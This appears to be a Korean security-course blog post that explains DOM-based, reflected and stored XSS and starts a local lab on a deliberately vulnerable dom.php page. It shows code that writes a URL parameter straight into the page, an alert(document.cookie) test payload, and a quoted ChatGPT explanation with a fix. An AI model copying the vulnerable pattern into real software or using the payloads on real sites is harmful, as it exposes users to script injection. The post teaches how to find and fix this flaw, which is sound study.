&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;786&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dv1XfN/btsLEKpWAo1/Y7lYGCBMS2EFesJlCweWh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dv1XfN/btsLEKpWAo1/Y7lYGCBMS2EFesJlCweWh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dv1XfN/btsLEKpWAo1/Y7lYGCBMS2EFesJlCweWh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdv1XfN%2FbtsLEKpWAo1%2FY7lYGCBMS2EFesJlCweWh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1398&quot; height=&quot;786&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;786&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS : 웹 브라우저에서 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS : 어플리케이션에서 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS : 데이터베이스에 저장되었다가 사용자에게 전달되어 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1045&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddl1J9/btsLDfSlsTD/JakZZuz7iku0pKtCFwP4R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddl1J9/btsLDfSlsTD/JakZZuz7iku0pKtCFwP4R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddl1J9/btsLDfSlsTD/JakZZuz7iku0pKtCFwP4R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fddl1J9%2FbtsLDfSlsTD%2FJakZZuz7iku0pKtCFwP4R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1045&quot; height=&quot;392&quot; data-origin-width=&quot;1045&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; DOM-BASED XSS 공격 순서 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크 클릭하여 접속할 수 있도록 유도한다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 서버의 응답값에는 악성 스크립트가 담기지 않는다. (웹 서버로부터 정상 응답값이 수신된다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 웹 브라우저 단에서 웹 브라우저의 자바스크립트 엔진(해석기)에 의해 악성 스크립트가 담긴 페이지를 구성한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;DOM 사용(문서에 접근할 수 있도록) - URL을 참조하여 악성 스크립트가 담긴 페이지를 구성한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이후 자바스크립트를 실행한다. - 공격자가 의도한 공격자 서버로 접근하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;801&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6GEyw/btsLGjZGunf/g9DREQvFLhkkrzHlSO88x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6GEyw/btsLGjZGunf/g9DREQvFLhkkrzHlSO88x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6GEyw/btsLGjZGunf/g9DREQvFLhkkrzHlSO88x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6GEyw%2FbtsLGjZGunf%2Fg9DREQvFLhkkrzHlSO88x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;801&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;801&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; REFLECTED XSS 공격 순서 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크를 클릭하여 접속할 수 있도록 유도한다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 서버의 어플리케이션(특정 페이지+사용자 입력값)에서 악성 스크립트가 담긴 페이지를 구성하게 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 서버의 응답 메시지 바디에 악성 스크립트가 담기게 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 사용자는 웹 서버의 응답값을 통해 악성 스크립트를 전달받게 되고, 악성 스크립트가 실행되어 공격자 서버로 접근하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1390&quot; data-origin-height=&quot;801&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1IPnK/btsLDY4cMjC/RvRgmbaRLOde79zLPE0hpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1IPnK/btsLDY4cMjC/RvRgmbaRLOde79zLPE0hpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1IPnK/btsLDY4cMjC/RvRgmbaRLOde79zLPE0hpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1IPnK%2FbtsLDY4cMjC%2FRvRgmbaRLOde79zLPE0hpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1390&quot; height=&quot;801&quot; data-origin-width=&quot;1390&quot; data-origin-height=&quot;801&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 공격 원리로 이루어지는게 Reflected XSS 이며, 이런 이유로 '반사'라는 개념이 붙게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS 와 REFLECTED XSS 공격은 URL을 통해 던져야 하므로 악성 스크립트가 항상 실려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 이유로 Non-Persistenet(비 지속적인) XSS 라고도 불린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; STORED XSS 공격 순서 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자는 웹 서비스에 악성 스크립트를 저장한다. (악성 스크립트가 담긴 구문을 게시글, 댓글에 저장)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 공격자가 저장한 악성 스크립트가 DB에 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 사용자가 해당 게시글, 댓글을 읽는다. (특정 게시판의 공지글 등, 유명한 게시글을 타겟으로 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 사용자가 읽는 순간 DB에 있던 악성 스크립트가 웹 페이지로 호출이 된다. (악성 스크립트가 담긴 페이지가 구성됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 악성 스크립트가 담긴 페이지가 사용자에게 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 공격자가 의도한 공격자 서버로 접근하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1405&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MAr7T/btsLF1Sza9L/rzH2Z6h0uVLgDgadhCAysk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MAr7T/btsLF1Sza9L/rzH2Z6h0uVLgDgadhCAysk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MAr7T/btsLF1Sza9L/rzH2Z6h0uVLgDgadhCAysk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMAr7T%2FbtsLF1Sza9L%2FrzH2Z6h0uVLgDgadhCAysk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1405&quot; height=&quot;797&quot; data-origin-width=&quot;1405&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;STORED XSS는 게시글에 저장이되므로 Persistent(지속적인) XSS 라고도 불린다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-1 DOM-BASED XSS 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dom.php 코드 위치: C:\APM_Setup\htdocs\insecure_website\dom.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; dom.php 소스코드 기존 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1736323175914&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;page&quot;&amp;gt;Page&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
    var url = document.location;
    url = unescape(url);
    var page = url.substring(url.indexOf('page=')+5, url.length);
    document.getElementById(&quot;page&quot;).innerHTML = page;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 소스코드에서는 innerHTML이 script 태그를 허용하지 않아 script 태그를 활용한 XSS 구문 활용이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; 입력 시 경고창이 출력되지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; dom.php 소스코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1736175619514&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    var url = document.location;
    url = unescape(url);
    var page = url.substring(url.indexOf('page=')+5, url.length);
    document.write(page);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 소스코드를 보면 Server-Side Script 인 PHP 코드는 보이지 않고 오직 Client Side Script 인 JavaScript 코드만 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;document 객체를 선언했는데, document 객체는 웹 페이지 문서에 접근할 수 있는 객체이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;location 메소드를 사용하여 이를 통해 url 값을 반환하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초의 이 값을 받아오면 사용자 입력값은 URL 인코딩이 된 상태이므로 unescape를 사용하여 URL 디코딩을 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;substring 을 사용하여 특정 위치값의 길이만큼 값을 반환해준다. (원하는 값을 파싱하기 위해서)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;indexOf('page=') &amp;rarr; page 위치값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 사용자 입력값은 page 뒤에 notice 부분이다. page=notice&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순수하게 사용자 입력값만 반환하기 위해서 +5를 해준다.(page= 이후 다섯번째부터가 사용자 입력값이므로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url.length 를 통해 전체 URL 길이값을 반환해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 내용이 이해하기 어려운것 같아 챗지피티에 코드 작성 후 설명을 요청하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 정리된 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 JavaScript 코드는 현재 웹 페이지의 URL에서 특정 문자열(예: page= 뒤에 오는 값)을 추출하여 웹 페이지에 출력하는 코드이다. 아래 단계별로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. &lt;b&gt;var url = document.location;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;document.location은 현재 웹 페이지의 URL을 반환한다.&lt;/li&gt;
&lt;li&gt;예: URL이 http://example.com?page=123일 경우, url 변수에는 &quot;http://example.com?page=123&quot;이 저장된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. &lt;b&gt;url = unescape(url);&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;unescape 함수는 URL에 포함된 인코딩된 문자(예: %20은 공백)를 디코딩한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인코딩된 URL: http://example.com?page%3D123&lt;/li&gt;
&lt;li&gt;unescape 결과: http://example.com?page=123&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;그러나, unescape는 더 이상 권장되지 않으며, 대신 decodeURIComponent를 사용하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. &lt;b&gt;var page = url.substring(url.indexOf('page=')+5, url.length);&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;url.indexOf('page=')는 URL에서 'page=' 문자열이 시작되는 위치(인덱스)를 찾는다.&lt;/li&gt;
&lt;li&gt;+5는 'page=' 문자열의 길이를 더해 'page=' 다음 값이 시작되는 위치를 나타낸다.&lt;/li&gt;
&lt;li&gt;substring 함수는 해당 위치부터 URL 끝까지의 문자열을 추출한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL: http://example.com?page=123&lt;/li&gt;
&lt;li&gt;'page=' 위치: 19&lt;/li&gt;
&lt;li&gt;추출된 문자열: 123&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;4. &lt;b&gt;document.write(page);&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;document.write 함수는 추출된 문자열(page)를 현재 웹 페이지에 출력한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL이 http://example.com?page=123일 경우, 페이지에 123이 출력된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;최종 동작&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;URL에서 page= 뒤의 값을 찾아 추출한다.&lt;/li&gt;
&lt;li&gt;해당 값을 웹 페이지에 출력한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;보완 및 주의사항&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;unescape 대신 decodeURIComponent 사용&lt;/b&gt;: unescape는 더 이상 사용되지 않으므로, decodeURIComponent로 교체하는 것이 좋다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 문제&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;document.write는 XSS 공격에 취약할 수 있다. 외부 입력값을 처리할 때는 반드시 유효성을 검증해야 한다.&lt;/li&gt;
&lt;li&gt;예를 들어, URL이 http://example.com?page=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;일 경우, 이 스크립트가 그대로 실행될 위험이 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정된 안전한 코드는 다음과 같다:&lt;/p&gt;
&lt;pre id=&quot;code_1736177626814&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    var url = decodeURIComponent(document.location);
    var paramIndex = url.indexOf('page=');
    if (paramIndex !== -1) {
        var page = url.substring(paramIndex + 5, url.length);
        page = page.replace(/&amp;lt;/g, &quot;&amp;amp;lt;&quot;).replace(/&amp;gt;/g, &quot;&amp;amp;gt;&quot;); // XSS 방지
        document.write(page);
    }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/dom.php 에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무런 값을 넣지 않으니 그냥 URL 이 반환된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;534&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qWR82/btsLE08bF88/8fv2RKFBIIK9Z1ZrNbzqB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qWR82/btsLE08bF88/8fv2RKFBIIK9Z1ZrNbzqB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qWR82/btsLE08bF88/8fv2RKFBIIK9Z1ZrNbzqB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqWR82%2FbtsLE08bF88%2F8fv2RKFBIIK9Z1ZrNbzqB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;534&quot; height=&quot;188&quot; data-origin-width=&quot;534&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/dom.php?page=test 를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;page= 뒤에 test 가 그대로 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqnxpn/btsLGejQAgB/2GsIYg2XKOSp4JWf5z63rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqnxpn/btsLGejQAgB/2GsIYg2XKOSp4JWf5z63rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqnxpn/btsLGejQAgB/2GsIYg2XKOSp4JWf5z63rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqnxpn%2FbtsLGejQAgB%2F2GsIYg2XKOSp4JWf5z63rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;204&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website/dom.php?page=notice 를 입력한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;page= 뒤에 notice 가 그대로 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;189&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uTliW/btsLGjyGhpC/z9uixkobn3vi0k2WtkUhV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uTliW/btsLGjyGhpC/z9uixkobn3vi0k2WtkUhV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uTliW/btsLGjyGhpC/z9uixkobn3vi0k2WtkUhV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuTliW%2FbtsLGjyGhpC%2Fz9uixkobn3vi0k2WtkUhV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;189&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;189&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
